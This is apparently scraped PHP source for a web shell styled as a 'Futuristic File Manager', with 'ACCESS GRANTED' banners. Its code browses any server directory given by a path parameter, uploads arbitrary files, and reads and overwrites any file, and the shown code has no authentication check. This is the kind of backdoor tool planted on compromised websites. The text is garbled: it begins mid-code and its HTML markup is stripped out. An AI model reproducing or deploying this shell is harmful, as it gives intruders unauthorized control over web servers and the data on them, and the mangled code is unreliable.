CYBERSECURITY - LOGIN

[ ACCESS GRANTED ]

Futuristic File Manager

FILE MANAGER

$pat) { if ($pat == '' && $id == 0) { $breadcrumbs[] = '/'; continue; } if ($pat == '') continue; $accumulated .= '/' . $pat; $breadcrumbs[] = '' . $pat . ''; } return implode(' / ', $breadcrumbs); } function display_directory_contents($path) { $contents = scandir($path); $folders = []; $files = []; foreach ($contents as $item) { if ($item == '.' || $item == '..') continue; $full_path = $path . '/' . $item; if (is_dir($full_path)) { $folders[] = '
📁' . $item . '
'; } else { $file_size = filesize($full_path); $size_unit = ['B', 'KB', 'MB', 'GB', 'TB']; $i = $file_size > 0 ? floor(log($file_size, 1024)) : 0; $formatted_size = $file_size ? round($file_size / pow(1024, $i), 2) . ' ' . $size_unit[$i] : '0 B'; $files[] = '
📄' . $item . '(' . $formatted_size . ')
'; } } echo '
'; echo implode('', $folders); echo '
'; if (!empty($folders) && !empty($files)) { echo '
'; } echo '
'; echo implode('', $files); echo '
'; } function create_folder($path, $folder_name) { $folder_name = clean_input($folder_name); $new_folder_path = $path . '/' . $folder_name; if (!file_exists($new_folder_path)) { mkdir($new_folder_path); echo "

Folder '$folder_name' created successfully!

"; } else { echo "

Folder '$folder_name' already exists!

"; } } function upload_file($path, $file_to_upload) { $target_directory = $path . '/'; $target_file = $target_directory . basename($file_to_upload['name']); if (move_uploaded_file($file_to_upload['tmp_name'], $target_file)) { echo "

File ".htmlspecialchars(basename($file_to_upload['name']))." uploaded successfully.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } function edit_file($file_path) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { $content = $_POST['file_content']; if (file_put_contents($file_path, $content) !== false) { echo "

File saved successfully.

"; } else { echo "

Error saving file.

"; } } $content = file_get_contents($file_path); echo '
'; echo '
'; echo ''; echo '
'; } if (isset($_GET['path'])) { $path = $_GET['path']; } else { $path = getcwd(); } if (isset($_GET['action'])) { $action = $_GET['action']; switch ($action) { case 'edit': if (isset($_GET['file'])) { $file = $_GET['file']; $file_path = $path . '/' . $file; if (file_exists($file_path)) { echo '

Edit File: ' . htmlspecialchars($file) . '

'; edit_file($file_path); } else { echo "

File not found.

"; } } else { echo "

Invalid file.

"; } break; default: echo "

Invalid action.

"; } } else { echo ''; echo '

Contents:

'; display_directory_contents($path); echo '
'; echo '

Create New Folder

'; echo '
'; echo 'Folder Name: '; echo ''; echo '
'; echo '

Upload File

'; echo '
'; echo 'Select file: '; echo ''; echo '
'; } if (isset($_POST['create_folder'])) { create_folder($path, $_POST['folder_name']); } if (isset($_POST['upload_file'])) { upload_file($path, $_FILES['file_to_upload']); } ?>